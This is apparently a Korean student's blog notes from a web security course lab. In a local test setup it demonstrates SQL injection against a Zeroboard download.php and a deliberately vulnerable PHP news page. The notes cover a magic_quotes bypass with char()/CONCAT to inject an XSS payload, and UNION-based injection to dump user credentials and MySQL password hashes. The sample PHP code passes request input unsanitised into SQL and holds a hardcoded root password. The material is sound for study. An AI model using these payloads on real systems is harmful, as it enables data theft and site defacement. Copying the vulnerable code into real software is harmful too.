본문 바로가기

Computer Engineering/Security

[ESPC3] Web Secuity 0x0A

From Evernote:

[ESPC3] Web Secuity 0x0A

지금까지는 magic_quotes_gpc 옵션이 off 가 되어있었다. 이제 On으로 바꾼뒤에 ㄱㄱ

[root@localhost root]# vi /usr/local/lib/php.ini

381 ; Magic quotes for incoming GET/POST/Cookie data.
382 magic_quotes_gpc = Off
                              
[root@localhost root]# /usr/local/apache/bin/httpd -k restart
//Apache 재시작

download.php?id=test&filenum=1=download1, memo='AAAA' where no='9' /*

[root@localhost root]# !ta
tail -f /usr/local/mysql/data/query.log
.
29 Query       select * from zetyx_group_table where no='1'
29 Query       update zetyx_board_test set download1=download1, memo=\'AAAA\' where no=\'9\' /*=download1=download1, memo=\'AAAA\' where no=\'9\' /*+1 where no=''

보다시피 magic_quotes 가 켜져서 ' 를 사용했을 때에 \ 가 들어가는 것을 확인할 수 있다.
그렇다면 ' 는 못사용하는가? No!! 안뚫리는 게 어디있겠는가?

일단 My-SQL 접속 ㄱㄱ
[root@localhost root]# mysql -u root -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 30 to server version: 4.0.20-log

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql> show databases;
+----------+
| Database |
+----------+
| Jack2    |
| mysql    |
| test     |
| zboard   |
| zboard2  |
+----------+
5 rows in set (0.00 sec)

mysql> use Jack2;
Database changed
mysql> desc news;
+-------+-------------+------+-----+---------+-------+
| Field | Type        | Null | Key | Default | Extra |
+-------+-------------+------+-----+---------+-------+
| id    | int(11)     | YES  |     | NULL    |       |
| title | varchar(20) | YES  |     | NULL    |       |
| News  | varchar(50) | YES  |     | NULL    |       |
+-------+-------------+------+-----+---------+-------+
3 rows in set (0.00 sec)

쿼리가 아니고 My-SQL 에 들어있는 함수를 알아보자
char()
()안에 들어가 있는 숫자값(10진수)을 문자(ASCII)로 만들어주는 것이다.

mysql> select char(65);
+----------+
| char(65) |
+----------+
| A        |
+----------+
1 row in set (0.00 sec)

mysql> select char(65),char(97);
+----------+----------+
| char(65) | char(97) |
+----------+----------+
| A        | a        |
+----------+----------+
1 row in set (0.00 sec)

CONCAT() - 문자를 연결해 주는 함수
mysql> select CONCAT('1234','5678');
+-----------------------+
| CONCAT('1234','5678') |
+-----------------------+
| 12345678              |
+-----------------------+
1 row in set (0.00 sec)

mysql> select CONCAT('1234',0x2f,'5678');
+----------------------------+
| CONCAT('1234',0x2f,'5678') |
+----------------------------+
| 1234/5678                  |
+----------------------------+
1 row in set (0.00 sec)

mysql> select CONCAT(id,title) from news;
+------------------+
| CONCAT(id,title) |
+------------------+
| 1Test1           |
+------------------+
1 row in set (0.00 sec)

mysql> select CONCAT(char(65),char(66),char(67)) from news;
+------------------------------------+
| CONCAT(char(65),char(66),char(67)) |
+------------------------------------+
| ABC                                |
+------------------------------------+
1 row in set (0.00 sec)

이걸 이용하면 굳이 '(싱글쿼터)를 사용하지 않다고 문자열을 입력할 수 있다.

download.php?id=test&filenum=1=download1, memo=CONCAT(char (65)), cahr (115), char(102) where no=CONCAT(char (57))/*

<SCRIPT> alert("XSS") </SCRIPT> => ASCII 로
char(60), char(83), char(67), char(82), char(73), char(80),char(84),char(62),char(97),char(108),char(101),char(114),char(116),char(40),char(34),char(88),char(83),char(83),char(34),char(41),char(60),char(47),char(83),char(67),char(82),char(73),char(80),char(84),char(62)

=> 실행 ㄱㄱ

mysql> select memo from zetyx_board_test where no='9';
+-------------------------------+
| memo                          |
+-------------------------------+
| <SCRIPT>alert("XSS")</SCRIPT> |
+-------------------------------+
1 row in set (0.00 sec)
=> DB Record의 내용이 바뀐 것을 확인할 수 있다.

실제 웹으로 ㄱㄱ

428064e2036caa3bee1a4d145db7ee

=> SCRIPT alert를 확인 할 수 있다.

이제 Injection UPGARDE 라고 할 수 있는 Blind SQL Injection ㄱㄱ
Blind SQL Injection =

[root@localhost jack2]# pwd
/home/test/public_html/jack2
[root@localhost jack2]# vi view.php

<?
$DB = mysql_connect("localhost","root","soldesk");
if(!$DB){
        echo "Mysql DB Connection error";
        exit;
}

$Select = mysql_select_db("Jack2");
if(!$Select){
        echo "error";
        exit;
}

$SQL = "SELECT * FROM news WHERE id=".$_GET['id'];

$result = mysql_query($SQL);

if(!$result){
        die('Invalid query: ' . mysql_error());
}

//Our query id TRUE
if($result) {
        echo '<br><br>WELCOME TO http://www.victim.net/ NEWS<br>';
        while ($row = mysql_fetch_array($result, MYSQL_NUM)){
                echo'<br>Title:'.$row[1].'<br>';
                echo'<br>News:<br>'.$row[2];
        }
}

=> 결과 <=
C6b99e2eb3dc9682632c6401c3f147

- TABLE 하나 더 생성 -
mysql> CREATE table usr (id INT(11),user varchar(20), pwd varchar(20));

mysql> desc usr;
+-------+-------------+------+-----+---------+-------+
| Field | Type        | Null | Key | Default | Extra |
+-------+-------------+------+-----+---------+-------+
| id    | int(11)     | YES  |     | NULL    |       |
| user  | varchar(20) | YES  |     | NULL    |       |
| pwd   | varchar(20) | YES  |     | NULL    |       |
+-------+-------------+------+-----+---------+-------+
3 rows in set (0.00 sec)

mysql> INSERT INTO usr (id, user, pwd) VALUES (1,'admin','secret');
Query OK, 1 row affected (0.00 sec)

mysql> INSERT INTO usr (id, user, pwd) VALUES (2,'ad','1234');
Query OK, 1 row affected (0.00 sec)

mysql> INSERT INTO usr (id, user, pwd) VALUES (3,'test','test');
Query OK, 1 row affected (0.00 sec)

mysql> SELECT * FROM usr ;
+------+-------+--------+
| id   | user  | pwd    |
+------+-------+--------+
|    1 | admin | secret |
|    2 | ad    | 1234   |
|    3 | test  | test   |
+------+-------+--------+
3 rows in set (0.00 sec)

[root@localhost jack2]# !ta
tail -f /usr/local/mysql/data/query.log

120122  0:18:53      63 Query       desc news
120122  0:20:17      63 Query       CREATE usr (id INT(11), user varchar(20), pwd varchar(20))
120122  0:20:41      63 Query       CREATE table usr (id INT(11),user varchar(20), pwd varchar(20))
120122  0:21:02      63 Query       desc usr
120122  0:22:02      63 Query       INSERT INTO usr (id, user, pwd) VALUES (1,'admin','secret')
120122  0:22:14      63 Query       INSERT INTO usr (id, user, pwd) VALUES (2,'ad','1234')
120122  0:22:23      63 Query       INSERT INTO usr (id, user, pwd) VALUES (3,'test','test')
120122  0:23:01      63 Query       SELECT * FROM usr
120122  0:23:05      63 Query       SELECT * FROM usr
120122  0:24:27      63 Quit
120122  0:24:32      64 Connect     root@localhost on
                     64 Init DB     Jack2
                     64 Query       SELECT * FROM news WHERE id=1
                     64 Quit

http://192.168.100.100/jack2/view.php?id=1 이렇게 주소창에 입력했을때에 SELECT * FROM news WHERE id=1 쿼리가 나가는 것을 확인할 수 있다.

=> 주소창에 이렇게 입력하면 

쿼리로그 기록이 아래와 같이 남겨지면서
120122  0:26:35      65 Connect     root@localhost on
                     65 Init DB     Jack2
                     65 Query       SELECT * FROM news WHERE id=1 union SELECT * FROM usr
                     65 Quit

6e2255712f2e726526cdc01ca62de4

mysql> select * from news union select * from usr;
+------+-------+---------+
| id   | title | News    |
+------+-------+---------+
|    1 | Test1 | Restart |
|    1 | admin | secret  |
|    2 | ad    | 1234    |
|    3 | test  | test    |
+------+-------+---------+
4 rows in set (0.00 sec)

=> 실제 DB 에서도 이렇게 확인이 된다.

하나의 View로 합치려면 column 의 갯수가 같아야 한다. 둘 다 3개의 column을 갖고 있으므로
union 이 먹히는 것이다.
mysql> desc usr;
+-------+-------------+------+-----+---------+-------+
| Field | Type        | Null | Key | Default | Extra |
+-------+-------------+------+-----+---------+-------+
| id    | int(11)     | YES  |     | NULL    |       |
| user  | varchar(20) | YES  |     | NULL    |       |
| pwd   | varchar(20) | YES  |     | NULL    |       |
+-------+-------------+------+-----+---------+-------+
3 rows in set (0.00 sec)

mysql> desc news;
+-------+-------------+------+-----+---------+-------+
| Field | Type        | Null | Key | Default | Extra |
+-------+-------------+------+-----+---------+-------+
| id    | int(11)     | YES  |     | NULL    |       |
| title | varchar(20) | YES  |     | NULL    |       |
| News  | varchar(50) | YES  |     | NULL    |       |
+-------+-------------+------+-----+---------+-------+
3 rows in set (0.00 sec)

단점은 이와 같이 필드에 상수를 입력받는 id=1 과 같은 경우가 아니면 안되는 것이다.
사용자 테이블이 있다면 화면에 같이 노출 시킬 수 있는 것이다.

DB의 값을 가져오는 것이다. DB table 이고 어떻게 작성되있는지 모른다.

만약에 필드가 다르다면 
1) 필드가 적은 경우 
2) 필드가 많은 경우
이런 경우가 있을 것인데 예제는 아래와 같다.

2)
mysql> CREATE TABLE fnews (id INT(11),pri INT(11), title VARCHAR(20), News VARCHAR(20));
Query OK, 0 rows affected (0.00 sec)

mysql> INSERT INTO fnews (id,pri,title,News) VALUES (1,0,'test news','It is a Testing News');
Query OK, 1 row affected (0.00 sec)

mysql> SELECT * FROM fnews;
+------+------+-----------+----------------------+
| id   | pri  | title     | News                 |
+------+------+-----------+----------------------+
|    1 |    0 | test news | It is a Testing News |
+------+------+-----------+----------------------+
1 row in set (0.00 sec)

mysql> SELECT * FROM fnews UNION SELECT * FROM usr;
ERROR 1222: The used SELECT statements have a different number of columns

1)
mysql> CREATE TABLE Anews(
    -> title VARCHAR(20), News VARCHAR(20)
    -> );

Query OK, 0 rows affected (0.01 sec)

mysql> INSERT INTO Anews (title,News) VALUES ('Test', 'It is the testing news');
Query OK, 1 row affected (0.00 sec)

mysql> SELECT * FROM Anews;
+-------+----------------------+
| title | News                 |
+-------+----------------------+
| Test  | It is the testing ne |
+-------+----------------------+
1 row in set (0.00 sec)

mysql> SELECT * FROM Anews UNION SELECT * FROM usr;
ERROR 1222: The used SELECT statements have a different number of columns

컬럼 숫자가 다르기 때문에 쿼리문이 성립하지가 않는다.
무조건 앞에 필드에 맞추어야 한다.
그렇다면 어떻게??
위에서 이야기 했던 CONCAT 을 이용하면 가능!!

mysql> SELECT * FROM Anews UNION SELECT id,CONCAT(user, 0x2F, pwd) FROM usr;
+-------+----------------------+
| title | News                 |
+-------+----------------------+
| Test  | It is the testing ne |
| 1     | admin/secret         |
| 2     | ad/1234              |
| 3     | test/test            |
+-------+----------------------+
4 rows in set (0.01 sec)

mysql> SELECT * FROM fnews UNION SELECT id, user, pwd, NULL FROM usr;
+------+------+-----------+----------------------+
| id   | pri  | title     | News                 |
+------+------+-----------+----------------------+
|    1 |    0 | test news | It is a Testing News |
|    1 |    0 | secret    | NULL                 |
|    2 |    0 | 1234      | NULL                 |
|    3 |    0 | test      | NULL                 |
+------+------+-----------+----------------------+
4 rows in set (0.00 sec)

위의 경우에서 pwd 값이 type이 맞지 않아서 확인을 할 수 없었다.

mysql> SELECT * FROM fnews UNION SELECT id,NULL, user,pwd FROM usr;
+------+------+-----------+----------------------+
| id   | pri  | title     | News                 |
+------+------+-----------+----------------------+
|    1 |    0 | test news | It is a Testing News |
|    1 | NULL | admin     | secret               |
|    2 | NULL | ad        | 1234                 |
|    3 | NULL | test      | test                 |
+------+------+-----------+----------------------+
4 rows in set (0.00 sec)

그런데 필드의 column name 을 모르는 경우에는 어떻게 하는가?
mysql> SELECT * FROM fnews UNION SELECT NULL, NULL, NULL, NULL FROM usr;
+------+------+-----------+----------------------+
| id   | pri  | title     | News                 |
+------+------+-----------+----------------------+
|    1 |    0 | test news | It is a Testing News |
| NULL | NULL | NULL      | NULL                 |
+------+------+-----------+----------------------+
2 rows in set (0.00 sec)

mysql> SELECT * FROM fnews UNION SELECT 1,2,3,4 FROM usr;              

+------+------+-----------+----------------------+
| id   | pri  | title     | News                 |
+------+------+-----------+----------------------+
|    1 |    0 | test news | It is a Testing News |
|    1 |    2 | 3         | 4                    |
+------+------+-----------+----------------------+
2 rows in set (0.00 sec)

=> 이와 같은 식으로 가능하다.

이제 실제 웹으로 가서
66711ed1aed67ad85276101a284fb8
=> 이런식으로 Version 정보를 확인할 수 있다.

442f77ab8b3ae7c217fbe2ec5a8792

8847f62adcbccb7e1bf0f9467df5a6
=> 이렇게 My-SQL 사용자의 ID 와 암호화된 P/W를 확인 할 수 있다.

mysql> use mysql;
Database changed
mysql> SELECT host,user , Select_priv FROM user;
+-----------------------+------+-------------+
| host                  | user | Select_priv |
+-----------------------+------+-------------+
| localhost             | root | Y           |
| localhost.localdomain | root | Y           |
| localhost             |      | N           |
| localhost.localdomain |      | N           |
+-----------------------+------+-------------+
4 rows in set (0.00 sec)

mysql> desc db;
+-----------------------+-----------------+------+-----+---------+-------+
| Field                 | Type            | Null | Key | Default | Extra |
+-----------------------+-----------------+------+-----+---------+-------+
| Host                  | char(60) binary |      | PRI |         |       |
| Db                    | char(64) binary |      | PRI |         |       |
| User                  | char(16) binary |      | PRI |         |       |
| Select_priv           | enum('N','Y')   |      |     | N       |       |
| Insert_priv           | enum('N','Y')   |      |     | N       |       |
| Update_priv           | enum('N','Y')   |      |     | N       |       |
| Delete_priv           | enum('N','Y')   |      |     | N       |       |
| Create_priv           | enum('N','Y')   |      |     | N       |       |
| Drop_priv             | enum('N','Y')   |      |     | N       |       |
| Grant_priv            | enum('N','Y')   |      |     | N       |       |
| References_priv       | enum('N','Y')   |      |     | N       |       |
| Index_priv            | enum('N','Y')   |      |     | N       |       |
| Alter_priv            | enum('N','Y')   |      |     | N       |       |
| Create_tmp_table_priv | enum('N','Y')   |      |     | N       |       |
| Lock_tables_priv      | enum('N','Y')   |      |     | N       |       |
+-----------------------+-----------------+------+-----+---------+-------+
15 rows in set (0.00 sec)
=> 이 사용자가 각각에 대한 권한을 따로 설정할 수 있다. 
Select_priv 같은 경우는 SELECT 권한을 이야기하는 것이다.

mysql> SELECT DB, User, Select_priv from db;
+---------+------+-------------+
| DB      | User | Select_priv |
+---------+------+-------------+
| test    |      | Y           |
| test\_% |      | Y           |
+---------+------+-------------+
2 rows in set (0.00 sec)
=> 해당 DB에 대해 권한을 접근할 수 있다 없다를 체크할 수 있다.

여기까지가 Blind Injection 에 대한 이야기를 살짝 맛보았다.
하지만 Table을 알아야 정보를 꺼내올 것 인데 그런 것들에 대해 다음 시간에 알아보기로 하자
Finger Print 같은 것!!

Posted via email from zzackzack2's Space

'Computer Engineering > Security' 카테고리의 다른 글

[ESPC3] Web Secuity 0x09  (0) 2012.01.30
[WebScrab]WebScarab Getting Started - OWASP  (0) 2012.01.14
[퍼옴]2011년 주요 보안 이슈 정리 및 2012년 보안 이슈 전망  (0) 2011.12.12
[ESPC]0x01  (0) 2011.11.14
[ESPC]0x00  (0) 2011.11.14